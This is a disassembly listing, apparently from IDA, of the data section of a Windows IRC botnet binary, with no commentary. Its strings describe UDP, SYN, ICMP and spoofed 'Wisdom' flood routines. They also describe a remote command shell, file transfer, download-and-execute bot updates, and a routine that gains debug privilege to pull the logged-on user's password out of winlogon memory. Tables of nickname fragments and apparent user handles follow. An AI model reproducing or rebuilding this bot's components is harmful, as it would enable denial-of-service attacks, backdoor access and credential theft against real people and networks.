unk_437974 db 2Dh ; - ; DATA XREF: sub_413A29+12Ao
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidTargetI db 'invalid target ip',0
align 4
unk_437994 db 2Dh ; - ; DATA XREF: sub_413A29+C2o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSetsockoptFail db 'setsockopt() failed, returned %d',0
align 4
unk_4379C4 db 2Dh ; - ; DATA XREF: sub_413A29+49o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSocketFailed_0 db 'socket() failed, returned %d',0
align 10h
unk_4379F0 db 2Dh ; - ; DATA XREF: sub_413E10+13Co
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFinishedSendin db 'finished sending pings to %s',0
align 4
unk_437A1C db 2Dh ; - ; DATA XREF: sub_413E10+6Eo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aErrorSendingPi db 'error sending pings to %s',0
align 4
unk_437A44 db 2Dh ; - ; DATA XREF: sub_413F9C+1C6o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFinishedSend_0 db '- finished sending packets to %s',0
align 10h
unk_437A70 db 2Dh ; - ; DATA XREF: sub_413F9C+8Eo
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aErrorSending_0 db '- error sending packets to %s',0
align 4
dword_437A98 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_4141B2+4Bo
aDoneWithFloodI db '- Done with flood (%iKB/sec)',0
align 4
unk_437AC4 db 2Dh ; - ; DATA XREF: sub_414358+4Bo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0
align 4
unk_437AEC db 2Dh ; - ; DATA XREF: sub_4143F7+27Do
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aSendErrorD_ db '- Send error: <%d>.',0
align 4
dword_437B0C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_414703+4Fo
aDoneWithFlood_ db '- Done with flood.',0
align 4
unk_437B2C db 2Dh ; - ; DATA XREF: sub_4149C1+4EBo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
unk_437B7C db 2Dh ; - ; DATA XREF: sub_4149C1+44Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
unk_437BCC db 2Dh ; - ; DATA XREF: sub_4149C1+15Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidTarge_0 db '- Invalid target IP.',0
align 4
unk_437BEC db 2Dh ; - ; DATA XREF: sub_4149C1+EEo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0
align 4
unk_437C24 db 2Dh ; - ; DATA XREF: sub_4149C1+70o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0
align 4
unk_437C58 db 2Dh ; - ; DATA XREF: sub_414F57+66o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aDoneWithFloodD db '- Done with flood, %d packets sent.',0
align 4
unk_437C8C db 2Dh ; - ; DATA XREF: sub_41525A+4Do
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0
align 4
unk_437CCC db 2Dh ; - ; DATA XREF: sub_4152D1+345o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
unk_437D58 db 2Dh ; - ; DATA XREF: sub_4152D1+2F3o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
db 'a sent (~%dK/s).',0
align 4
unk_437DBC db 2Dh ; - ; DATA XREF: sub_4152D1+CCo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aSendingPackets db '- Sending packets to %s...',0
unk_437DE8 db 2Dh ; - ; DATA XREF: sub_4152D1+80o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0
unk_437E2C db 2Dh ; - ; DATA XREF: sub_4152D1+63o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
align 4
unk_437E7C db 2Dh ; - ; DATA XREF: sub_4152D1+2Ao
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 4
unk_437EA8 db 2Dh ; - ; DATA XREF: sub_41561D+60o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
aSD db '%s%d ',0 ; DATA XREF: sub_4157BA+204o
align 4
dword_437EDC dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415CC0+35o
dword_437EF0 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
align 4
dword_437F28 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F3C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_415DD8+20o
dword_437F50 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: sub_415E4B+DCo
dd 6574656Ch, 0
dword_437F6C dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: sub_415E4B+3Fo
dd 676E6974h, 0
unk_437F88 db 2Dh ; - ; DATA XREF: sub_416000+170o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
unk_437FBC db 2Dh ; - ; DATA XREF: sub_416000+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
unk_437FEC db 2Dh ; - ; DATA XREF: sub_416000+47o
; sub_4161C1+FDo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 10h
dword_438010 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: sub_4161C1+362o
; sub_416563+156o
dd 726F72h
unk_438028 db 2Dh ; - ; DATA XREF: sub_4161C1+2FAo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
unk_438054 db 2Dh ; - ; DATA XREF: sub_4161C1+202o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 4
dword_438078 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: sub_4161C1+1CBo
dd 74756Fh
dword_438090 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_4161C1+16Ao
dd 169h
unk_4380A8 db 2Dh ; - ; DATA XREF: sub_4161C1+127o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
unk_4380C8 db 2Dh ; - ; DATA XREF: sub_4161C1+82o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_4380EC db 2Dh ; - ; DATA XREF: sub_4161C1+44o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 10h
unk_438110 db 2Dh ; - ; DATA XREF: sub_416563+1D1o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
unk_43813C db 2Dh ; - ; DATA XREF: sub_416563+CBo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_43815C db 2Dh ; - ; DATA XREF: sub_416563+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 4
aAB db 'a+b',0 ; DATA XREF: sub_416563+97o
unk_43818C db 2Dh ; - ; DATA XREF: sub_416563+83o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
unk_4381BC db 2Dh ; - ; DATA XREF: sub_4167A0+493o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
unk_4381E8 db 2Dh ; - ; DATA XREF: sub_4167A0+485o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
unk_43821C db 2Dh ; - ; DATA XREF: sub_4167A0+3C9o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 10h
dword_438260 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: sub_4167A0+358o
dd 25206465h, 73h
unk_43827C db 2Dh ; - ; DATA XREF: sub_4167A0+2E1o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
unk_4382B4 db 2Dh ; - ; DATA XREF: sub_4167A0+262o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_4382DC db 2Dh ; - ; DATA XREF: sub_4167A0+1D8o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
unk_438308 db 2Dh ; - ; DATA XREF: sub_4167A0+195o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 10h
unk_438330 db 2Dh ; - ; DATA XREF: sub_4167A0+183o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 4
unk_438358 db 2Dh ; - ; DATA XREF: sub_4167A0+77o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 10h
aUnknown db 'Unknown',0 ; DATA XREF: sub_416D48:loc_416D8Bo
; sub_419443+10Ao
aInvalid db 'Invalid',0 ; DATA XREF: sub_416D48:loc_416D85o
aDisk db 'Disk',0 ; DATA XREF: sub_416D48:loc_416D7Fo
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_416D48:loc_416D79o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_416D48:loc_416D73o
align 4
off_4383A8 dd offset word_4D4152 ; DATA XREF: sub_416D48:loc_416D6Do
word_4383AC dw 3Fh ; DATA XREF: sub_416D48+1Fo
; sub_41AF8F:loc_41B091r
align 10h
aFailed db 'failed',0 ; DATA XREF: sub_416DD9:loc_416EB7o
; sub_416EFD+3Bo
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_416DD9+6Co
align 10h
unk_4383C0 db 2Dh ; - ; DATA XREF: sub_416EFD+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
unk_4383FC db 2Dh ; - ; DATA XREF: sub_416EFD+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
aA_1 db 'A:\',0 ; DATA XREF: sub_416FCF:loc_417014o
dword_43843C dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
; DATA XREF: sub_417054+C8o
dd 64252064h, 6C696620h, 7365h
unk_43845C db 2Dh ; - ; DATA XREF: sub_417054+5Co
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
dword_438484 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
; DATA XREF: sub_41716F+107o
dd 73252064h, 73255Ch
aS_3 db '%s\*',0 ; DATA XREF: sub_41716F+1Ao
align 4
unk_4384A8 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41743Ao
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
unk_4384DC db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41740Do
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_438508 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_417406o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 10h
unk_438540 db 2Dh ; - ; DATA XREF: sub_4172C1+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
aUserdomain: ; DATA XREF: sub_4172C1+DCo
unicode 0, <USERDOMAIN>,0
align 4
aUsername: ; DATA XREF: sub_4172C1+CEo
unicode 0, <USERNAME>,0
align 4
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
align 10h
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
align 4
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_4172C1+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
; sub_4172C1+161o ...
align 4
unk_438678 db 2Dh ; - ; DATA XREF: sub_4172C1+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 4
aMsgina db 'MSGINA',0 ; DATA XREF: sub_417493+13Eo
align 10h
aNwgina db 'NWGINA',0 ; DATA XREF: sub_417493+123o
align 4
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417493+AFo
align 4
dword_4386C4 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_4178F9+70o
; sub_417990+C7o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438714 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417990+E1o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h
off_438768 dd offset aQ ; DATA XREF: sub_417E84+5Cr
; "q"
dd offset dword_439318
dd offset aE ; "e"
dd offset aR ; "r"
dd offset aT ; "t"
dd offset dword_439314
dd offset aU ; "u"
dd offset aI ; "i"
dd offset aP ; "p"
dd offset aA ; "a"
dd offset aS_5 ; "s"
dd offset dword_439310
dd offset dword_43930C
dd offset dword_439308
dd offset dword_439304
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset dword_439300
dd offset dword_4392FC
dd offset dword_4392F8
dd offset aC ; "c"
dd offset aV ; "v"
dd offset dword_4392F4
dd offset aN ; "n"
dd offset aM_0 ; "m"
dd offset dword_4392F0
dd offset dword_4392EC
dd offset dword_4392E8
dd offset dword_4392E4
dd offset dword_4392E0
dd offset word_4392DC
dd offset dword_4392D8
dd offset aI_0 ; "I"
dd offset dword_4392D4
dd offset dword_4392D0
dd offset aA_0 ; "A"
dd offset dword_4392CC
dd offset dword_4392C8
dd offset dword_4392C4
dd offset dword_4392C0
dd offset dword_4392BC
dd offset dword_4392B8
dd offset dword_4392B4
dd offset dword_4392B0
dd offset dword_4392AC
dd offset dword_4392A8
dd offset dword_4392A4
dd offset dword_4392A0
dd offset dword_43929C
dd offset word_439298
dd offset aM_1 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset aAyla ; "AYLA-"
dd offset off_43902C
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_438E98
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
off_438A68 dd offset aSex ; DATA XREF: sub_417E84+41r
; sub_417E84+ECr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
dd offset aLag ; "lag"
dd offset aTambe ; "|tambe|"
dd offset aWoh ; "|woh|"
dd offset aTot ; "-|tot|"
dd offset aSuck ; "|suck|"
dd offset aLuck ; "|luck|"
dd offset aHub ; "{hub}"
dd offset aSex_0 ; "{sex}"
dd offset aGens ; "{gens|"
dd offset aLuvuF ; "||luvu-f|"
dd offset aWiked ; "|wiked|"
dd offset aSick ; "sick}}"
dd offset aQ8 ; "Q8"
dd offset aQ8A ; "|q8|a"
dd offset dword_4392F4
dd offset aC ; "c"
dd offset dword_439310
dd offset aE ; "e"
dd offset dword_43930C
dd offset dword_439308
dd offset dword_439304
dd offset aI ; "i"
dd offset a_ ; "_"
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset dword_439300
dd offset aM_0 ; "m"
dd offset aN ; "n"
dd offset aO ; "o"
dd offset aP ; "p"
dd offset aQ ; "q"
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
dd offset dword_439318
dd offset dword_4392F8
dd offset dword_439314
dd offset dword_4392FC
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset dword_4392FC
dd offset dword_439308
dd offset aS_5 ; "s"
dd offset aQ ; "q"
dd offset off_438CB8
dd offset aBbl ; "|bbl"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset a___0 ; "_|_"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset byte_43DB88
dd offset byte_43DB88
dd offset dword_4392C4
dd offset aM_1 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF_3 ; "^^^f^"
dd offset dword_4392F4
dd offset byte_43DB88
dd offset aSleeping ; "Sleeping"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset aFuck_0 ; "Fuck"
dd offset aFree ; "Free"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset dword_4392A8
dd offset byte_43DB88
dd offset aBoy ; "BOY"
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset aTot_0 ; "tot"
dd offset aLol ; "lol"
dd offset aLoloA ; "lolo|a|"
dd offset aSex4free ; "|sex4free|"
dd offset a4us ; "|4us|"
dd offset a4you ; "{4you}"
dd offset a4u ; "|4u|"
dd offset dword_438C04
dd offset dword_438C00
dword_438C00 dd 7536h ; DATA XREF: .data:00438BFCo
dword_438C04 dd 7535h ; DATA XREF: .data:00438BF8o
a4u db '|4u|',0 ; DATA XREF: .data:00438BF4o
align 10h
a4you db '{4you}',0 ; DATA XREF: .data:00438BF0o
align 4
a4us db '|4us|',0 ; DATA XREF: .data:00438BECo
align 10h
aSex4free db '|sex4free|',0 ; DATA XREF: .data:00438BE8o
align 4
aLoloA db 'lolo|a|',0 ; DATA XREF: .data:00438BE4o
aLol db 'lol',0 ; DATA XREF: .data:00438BE0o
aTot_0 db 'tot',0 ; DATA XREF: .data:00438BDCo
aMofo db 'mofo',0 ; DATA XREF: .data:00438BD8o
align 4
aMof0 db 'mof0',0 ; DATA XREF: .data:00438BD4o
align 4
aMuha db 'muha',0 ; DATA XREF: .data:00438BD0o
align 4
aYeah db 'yeah',0 ; DATA XREF: .data:00438BCCo
align 4
aAha db 'aha',0 ; DATA XREF: .data:00438BC8o
aShit db 'shit',0 ; DATA XREF: .data:00438BC4o
align 4
aGurl db 'gurl',0 ; DATA XREF: .data:00438BC0o
align 10h
aGirl_0 db 'GIRL',0 ; DATA XREF: .data:00438BBCo
align 4
aBoy db 'BOY',0 ; DATA XREF: .data:00438BB8o
aFree db 'Free',0 ; DATA XREF: .data:00438BA4o
align 4
